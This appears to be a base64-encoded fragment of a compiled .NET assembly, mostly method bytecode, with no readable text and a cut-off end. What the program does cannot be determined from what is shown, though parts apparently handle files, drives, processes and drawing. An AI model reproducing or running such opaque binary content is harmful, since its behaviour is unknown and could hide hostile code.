EgMREhERb+cBAAYJeyYCAAQREHKPAABwERIoJAAACm8lAAAKEQcXWBMHEQcRBo5pMp3eAybeAAAHclIhAHAoKAAAChMTERMoIwAACixkERNyYCEAcCibAAAKEwYWEwcrSREGEQeaExQIclcWAHARFCg7AAAKKDoAAAoTFQMRFREUKCsAAApv5wEABgl7JgIABBEUco8AAHARFSgkAAAKbyUAAAoRBxdYEwcRBxEGjmkyr94DJt4AAAZybCEAcG9pAAAKJS0EJhQrBW9kAAAKJS0GJnImIABwExYGcoghAHBvaQAACqUOAAAbEw4SDiiZAAAKFy4HckogAHArBXJQIABwExdyqiEAcBEWcswhAHARFygsAAAKExgIcvYhAHAoKAAAChMZAxEZERhv6AEABgl7JgIABHISIgBwERkoKQAACm8lAAAK3gMm3gAAGI2OAAABJRYfHCghAAAKcvofAHByRCIAcCg6AAAKoiUXHxooIQAACnL6HwBwckQiAHAoOgAACqITGhiNjgAAASUWHyooIQAACnL6HwBwclIhAHByWCIAcCgiAAAKoiUXHxwoIQAACnL6HwBwclIhAHByWCIAcCgiAAAKohEafsAAAAQlLRMmFP4GKgAACnOcAAAKJYDAAAAEKAcAACsTG37AAAAEJS0TJhT+BioAAApznAAACiWAwAAABCgHAAArExwRGywEERwtBd3QAQAAcnYiAHATHXKqIgBwEx4RHCgvAAAKER0olQAAChMfERsoLwAAChEeKJUAAAoTIBEfb54AAAosCREgb54AAAotBd2LAQAAcy0AAAoTIREfbzEAAAoTIjjHAAAAESJvGAAACnQaAAABEyMoSAAAChEjbzMAAAoXbzQAAApvNQAACm+LAAAKEyQRIG8xAAAKEyUrcHM4AgAGEyYRJhElbxgAAAp0GgAAAX3BAAAEFhEme8EAAARvNQAACm99AAAKGFsonwAAChEm/gY5AgAGc6AAAAooCAAAKygJAAArEycRJxEkFyijAAAKEygRIShIAAAKEShvSgAACm83AAAK3gwm3gARJW8VAAAKLYfeFREldRsAAAETKREpLAcRKW8UAAAK3BEibxUAAAo6Lf///94VESJ1GwAAARMpESksBxEpbxQAAArcESFvRgAAChYxUwhy2iIAcCgoAAAKEyoDESpy+wEAcBEhKDkA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